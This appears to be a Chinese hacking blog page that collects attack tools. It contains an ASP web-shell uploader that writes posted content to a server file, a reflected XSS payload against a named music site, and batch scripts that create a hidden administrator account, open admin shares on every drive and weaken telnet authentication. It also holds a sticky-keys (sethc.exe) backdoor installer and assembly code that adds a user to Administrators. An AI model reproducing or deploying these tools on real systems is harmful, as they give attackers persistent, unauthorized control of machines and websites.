WoYiGui's BLoG

<%set s=server.createObject("Adodb.Stream")%>
<%s.Type=2%>
<%s.Open%>
<%s.CharSet="gb2312"%>
<%s.writetext request("d")%>
<%s.SaveToFile server.mappath("j.asp"),2%>
<%s.Close%>
<%set s=nothing%>
<form>
<textarea name=d cols=80 rows=10 width=32></textarea>
<input type=submit>
</form>

DIM WSH
SET WSH=WSCRIPT.CreateObject("WSCRIPT.SHELL") '击活WScript.Shell对象
WSH.POPUP("解锁注册表编辑器!")
'显示弹出信息“解锁注册表编辑器!”
WSH.Regwrite"HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\System\DisableRegistryTools",0,"REG_DWORD"
'给注册表编辑器解锁
WSH.POPUP("注册表解锁成功!")
'显示弹出信息“注册表解锁成功!”

[url]http://www.jiuku.com/music/s/?Key="><script>alert("woyigui")</script><"[/url]

@echo off
  @attrib +s + r xyt.bat
  @net user xyt hacker /add
  @net localgroup administrators xyt /add
  @net share c$=c:
  @net share d$=d:
  @net share e$=e:
  @net share f$=f:
  @net share g$=g:
  @net share h$=h:
  @tlntadmn config sec = -ntlm

  @net stop schedule
  @net start Schedule
  @echo at 11:00 c:\WINNT\SYSTEM32\log.bat > c:\WINNT\SYSTEM32\xyt.bat
  @echo at 23:00 c:\WINNT\SYSTEM32\log.bat >> c:\WINNT\SYSTEM32\xyt.bat
  @at 11:05 c:\WINNT\SYSTEM32\xyt.bat
  @at 23:05 c:\WINNT\SYSTEM32\xyt.bat
  @net stop telnet
  @net start telnet
  @exit

@echo off
cls
copy c:\windows\explorer.exe c:\windows\system32\sethc.exe
copy c:\windows\system32\sethc.exe c:\windows\system32 \dllcache\sethc.exe
attrib c:\windows\system32\sethc.exe +h
attrib c:\windows\system32\dllcache\sethc.exe +h
cls
echo 后门安装完毕！
echo.
echo By：aLlYesNo[at]77169.org
echo. & pause
exit

;>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>
;code by asm http://www.asm32.cn/
;2007-9-29
;>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>
    .386
    .model flat, stdcall
    option casemap :none   ; case sensitive
;>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>
;    Include 数据
;>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>
    include        windows.inc
    include        user32.inc
    include        kernel32.inc
   include       Netapi32.inc
  
    includelib    user32.lib
    includelib    kernel32.lib
    includelib    Netapi32.lib

.data?
oUserInfo USER_INFO_1<?>
oUser LOCALGROUP_MEMBERS_INFO_3 <?>
dwErr DWORD ?
.data
szUser dw "a","s","m",0
szPass dw "p","a","s","s",0
szAdministrators dw "A","d","m","i","n","i","s","t","r","a","t","o","r","s",0
.code
start:
      invoke RtlZeroMemory,addr oUserInfo,sizeof oUserInfo
      push offset szUser
      pop oUserInfo.usri1_name
      push offset szPass
      pop oUserInfo.usri1_password
      mov oUserInfo.usri1_priv,USER_PRIV_USER
      mov oUserInfo.usri1_flags,UF_NORMAL_ACCOUNT
      invoke NetUserAdd,NULL, 1,addr oUserInfo,addr dwErr
      push oUserInfo.usri1_name
      pop oUser.lgrmi3_domainandname
      invoke NetLocalGroupAddMembers,NULL,addr szAdministrators,3,addr oUser,1
      invoke ExitProcess,0
      end start